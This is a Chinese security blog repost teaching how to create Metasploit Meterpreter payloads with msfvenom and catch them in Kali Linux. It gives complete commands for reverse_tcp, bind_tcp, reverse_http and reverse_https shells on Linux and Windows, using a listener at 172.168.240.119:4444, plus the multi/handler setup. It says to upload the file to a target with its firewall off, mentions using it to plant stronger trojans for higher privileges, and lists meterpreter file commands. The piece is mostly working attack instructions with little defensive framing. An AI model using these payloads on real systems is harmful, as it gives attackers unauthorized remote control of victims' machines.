kali linux中meterpreter使用前的反弹shell及其基础语法

admin 2022年12月22日13:32:09评论62 views字数 1827阅读6分5秒阅读模式
kali linux中meterpreter使用前的反弹shell及其基础语法
点击上方蓝字  关注安全知识

kali linux中meterpreter使用前的反弹shell及其基础语法


一.反弹shell的类型:

1.reverse_tcp  (基于TCP反向链接反弹shell)

1).在kali linux终端中,生成一个反弹shell

linux版:

msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=你kali本机的IP lport=随便选一个端口来接收信息 -f elf -o shell 如:msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=172.168.240.119 lport=4444 --f elf -o shell

 windows版:

msfvenom -p windows/meterpreter/reverse_tcp lhost=172.168.240.119 lport=4444 -f exe -o shell.exe msfvenom -p windows/meterpreter/reverse_tcp lhost=172.168.240.119 lport=4444 -f raw -o shell.exe

2).生成shell后,将shell上传到相对应的靶机中,例如,linux版的上传到linux系统里,windows上传到windows系统中

前提是,靶机里的防火墙都要关闭,否则会被灭杀

3).在kali linux终端进入msfconsole界面

即运行以下命令:

msfconsole use expolit/multi/handler set payload windows/meterpreter/reverse_tcp set lhost 172.168.240.119 set lport 4444 show options exploit

4).返回windows中,点击运行shell,kali终端就会在4444端口连接到windows的meterpreter,记下来就进入到meterpreter命令行内,简单的一次shell反弹就成功了

2. bind_tcp (基于TCP正向连接的shell,适合在内网中使用,不用设置LHOST)

linux:

msfvenom -p linux/x86/meterpreter/bind_tcp lport=4444  -f elf -o shell
msfconsole use exploit/multi/handler set payload linux/x86/meterpreter/bind_tcp set lport 4444 exploit  再打开一个终端进入到shell所在的目录 ls 给shell一个运行的权限 chmod +x shell ls可以查看一下,可以发现shell的颜色变了,说明加权限=成功  找到shell,点击运行,在msfconsole里可以看到握手成功,直接进入到meterpreter命令内

 windows:

msfvenom -p windows/meterpreter/bind_tcp lport=4444  -f exe -o shell.exe

3.reverse_http  ( 基于http方式的反向连接,在网速慢的情况下不稳定)

windows:

msfvenom -p windows/meterpreter/reverse_http lport=4444  -f exe -o shell.exe

4.reverse_https   (基于https方式的反向连接,在网速慢的情况下不稳定, https如果反弹没有收到数据,可以将监听端口换成443试试)

windows:

msfvenom -p windows/meterpreter/reverse_https lport=4444  -f exe -o shell.exe

msfvenom的反弹shell进入到靶机里,最主要的不是对其电脑进行简单的操作,而是生成更高级的木马,来获取靶机更高级的权限

meterpreter中的一些操作(即将shell上传到本虚拟机里):

1.查看目录

    

 ls

查看其他目录,并监听

  ls  /root/Documents

2.文件上传

将桌面的文件上传到文档里

upload  /root/Desktop/a.txt   /root/Documents/

3.删除文件

rm  /root/Document/a.txt

原文始发于微信公众号(Rot5pider安全团队):kali linux中meterpreter使用前的反弹shell及其基础语法

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年12月22日13:32:09
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   kali linux中meterpreter使用前的反弹shell及其基础语法http://cn-sec.com/archives/1472675.html

发表评论

匿名网友 填写信息